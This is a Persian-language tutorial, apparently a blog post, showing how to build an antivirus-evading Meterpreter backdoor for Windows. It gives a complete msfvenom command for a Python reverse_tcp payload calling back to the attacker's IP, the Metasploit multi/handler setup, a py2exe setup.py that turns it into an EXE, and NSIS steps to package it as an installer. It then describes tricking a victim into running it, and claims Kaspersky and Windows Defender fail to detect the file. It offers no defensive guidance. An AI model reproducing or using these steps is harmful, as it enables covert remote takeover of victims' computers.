در این پست بررسی می کنیم که چگونه یک مهاجم دسترسی Meterpreter بر روی سیستم قربانی می گیرد بدون آن که Antivirus آن را شناسایی کند و خواهیم دید که مهاجم Paylod مبتنی بر زبان Python را به فرمت EXE تبدیل خواهد کرد و در نهایت فایل های مربوط به EXE را به یک فایل واحد قابل نصب، تبدیل می کند.
سناریو مورد نظر:
فرض کنید که کاربر A با آدرس IP، 192.168.2.10 و کاربر B با آدرس IP، 192.168.2.5 با یکدیگر در ارتباط هستند. همچنین فرض کنید که کاربر A قربانی و کاربر B مهاجم می باشد و هر دو سیستم، دارای سیستم عامل ویندوز می باشند.
در ادامه خواهیم دید که چگونه مهاجم، با توجه به سناریو فوق، می تواند بر روی سیستم قربانی دسترسی بگیرد.
مراحل اجرا حمله:
مرحله اول – ساخت فایل مخرب و اقدامات لازم سمت سیستم مهاجم:
مهاجم برای دسترسی گرفتن، یک فایل مخرب مبتنی بر python می سازد و در ادامه یک port را به عنوان درگاه اتصال فایل مخرب با سیستم خود (مهاجم) در نظر می گیرد.
یکی از ابزارهای قدرتمندی که می تواند به مهاجم کمک کند، ابزار Metasploit می باشد که از آدرس اینجا قابل دسترس می باشد. همانطور که می دانید signatureهای این برنامه های مخرب در پایگاه داده Antivirus ها موجود می باشد و به محض بررسی آن ها متوجه مخرب بودن فایل می شوند. اما قرار است در این مطلب به بررسی و ساخت برنامه مخربی بپردازیم که Antivirus دور زده شود. برای ساخت چنین برنامه مخربی، در ابتدا می بایست از Metasploit نسخه 5.0.95 به بالا استفاده نمود.
نکته: با استفاده از نسخه نام برده شده، فایل مخرب ساخته شده در زمان نگارش این پست برای Antivirus های Kaspersky و Windows Defender قابل کشف نمی باشد.
برای ساخت فایل مخرب، مهاجم از دستور زیر، استفاده می کند.
msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.2.5 lport=4545 -f raw > connection.py
- p- مشخص کننده Payload مورد نظر می باشد.
- lhost مشخص کننده IP سیستم مهاجم می باشد.
- lport مشخص کننده Port دلخواه سیستم مهاجم می باشد.
- f- مشخص کننده Format خروجی Payload می باشد.
- در آخر نام و پسوند فایل مورد نظر را وارد می کنیم. (connection.py)
در ادامه، مهاجم برای برقراری ارتباط فایل مخرب با سیستم خود، باید یک handler بر روی سیستم خود راه اندازی کند. برای این منظور، Metasploit را توسط دستور msfconsole اجرا می کند. سپس توسط دستور زیر exploit مربوطه را فراخوانی می کند.
use exploit/multi/handler
در ادامه با دستورات زیر، پارامترهای مورد نیاز را مقدار دهی و اجرا می کند.
set payload python/meterpreter/reverse_tcp
set lhost 192.168.2.5
set lport 4545
run
مرحله دوم – تبدیل برنامه مخرب مبتنی بر python به فایل exe
با اجرا کردن برنامه ی مبتنی بر Python بر روی سیستم قربانی، دسترسی meterpreter برقرار می شود ولی از آن جایی که ممکن است بر روی سیستم قربانی Python نصب نباشد، مهاجم فایل مذکور را به یک فایل exe تبدیل می کند.
برای انجام این کار، از ابزار py2exe استفاده می نماید که از آدرس اینجا قابل دسترس می باشد. مهاجم ابزار مربوطه را بر روی سیستم خود نصب می کند.
لازم به توجه می باشد که python 2.7 از پیشنیاز های این ابزار می باشد.
در ادامه، مهاجم یک فایل با نام setup.py که شامل کد های زیر می باشد، می سازد.
نکته: فایل مذکور می بایست دقیقا نام "setup.py" را داشته باشد.
from distutils.core import setup
import py2exe
setup (
console=[{'script': 'connection.py'}],
options={ 'py2exe': {
'packages': 'socket, code, platform, ctypes'}
},
)
سپس فایل ساخته شده را با python 2.7 مطابق دستور زیر اجرا می کند. (ابزار دانلود شده برای python نسخه 2.7 می باشد و با python نسخه 3 قابل اجرا نمی باشد)
c:\Python27\python.exe setup.py py2exe
بعد از اجرا دستور فوق، ابزار مذکور شروع به convert نمودن فایل مبتنی بر python می کند که دو پوشه با نام های "dist" و "build" مطابق تصویر زیر می سازد.
همانطور که در تصویر زیر قابل مشاهده می باشد، فایل EXE و فایل های پیشنیاز که شامل package های مورد نیاز Python، dll و ... می شود را در پوشه ساخته شده با نام "dist" قرار می دهد.
نکته: برای اجرا نمودن فایل exe بر روی سیستم قربانی، می بایست تمامی فایل های قرار گرفته شده در پوشه "dist" موجود باشد.
مرحله سوم – تجمیع فایل های موجود به یک فایل واحد و قابل نصب:
در مرحله قبل دیدیم که خروجی ابزار py2exe شامل تعدادی فایل و package بود و مهاجم برای اجرا آن بر روی سیستم قربانی، باید تمامی فایل ها را منتقل کند تا برنامه به درستی اجرا شود. حال برای سهولت در جابجایی فایل ها و همچنین برای پیاده سازی سناریو مهندسی اجتماعی بهتر و کارآمد تر، مهاجم اقدام به تجمیع نمودن فایل های موجود در قالب یک فایل exe می کند، به نحوی که فایل ساخته شده قابل نصب بر روی سیستم عامل ویندوز باشد.
با توجه به توضیحات فوق، مهاجم از ابزار NSIS که از اینجا قابل دسترس می باشد، استفاده می کند.
مهاجم وارد پوشه connection می شود و در ابتدا پوشه "build" را پاک می کند. سپس پوشه connection را zip می کند.
بعد از نصب، برنامه NSIS را اجرا می کند و مطابق تصویر زیر گزینه "Installer based on .ZIP file" را انتخاب می کند.
سپس از قسمت "Source ZIP File" بر روی "Open" کلیک کرده و فایل connection.zip را به برنامه می دهد و تنظیمات دلخواه را وارد می کند.
در نهایت بر روی Generate کلیک می کند و با نمایان شدن تصویر زیر، صحت انجام کار، قابل بررسی می باشد.
مرحله چهارم – نصب و اجرا فایل مخرب ساخته شده بر روی سیستم قربانی:
در این مرحله، مهاجم می بایست از طریق تکنیک مهندسی اجتماعی و یا هر تکنیک دیگری، فایل مخرب قابل نصب را بر روی سیستم قربانی منتقل نموده و در نهایت بعد از نصب، اجرا کند.
در اینجا فرض می کنیم که مهاجم، قربانی را مجاب کرده تا فایل موجود در پوشه به اشتراک گذاشته شده را نصب و اجرا کند.
قربانی فایل مذکور را بر روی سیستم خود منتقل می کند و قبل از نصب، با Kaspersky Antivirus آن را بررسی می کند. همانطور که در تصویر زیر قابل مشاهده می باشد، connection.exe را به عنوان یک فایل سالم (غیر مخرب) تشخیص داده است.
حال قربانی به نصب برنامه ساخته شده توسط مهاجم، می پردازد.
بعد از نصب، وارد پوشه ی نصب شده می شود و از داخل پوشه "dist" برنامه connection.exe را اجرا می کند. با اجرا شدن برنامه مخرب، مهاجم بر روی handler راه اندازی شده خود، دسترسی می گیرد.
نمونه ای از اجرای حمله مذکور در ویدئو زیر قابل مشاهده هست: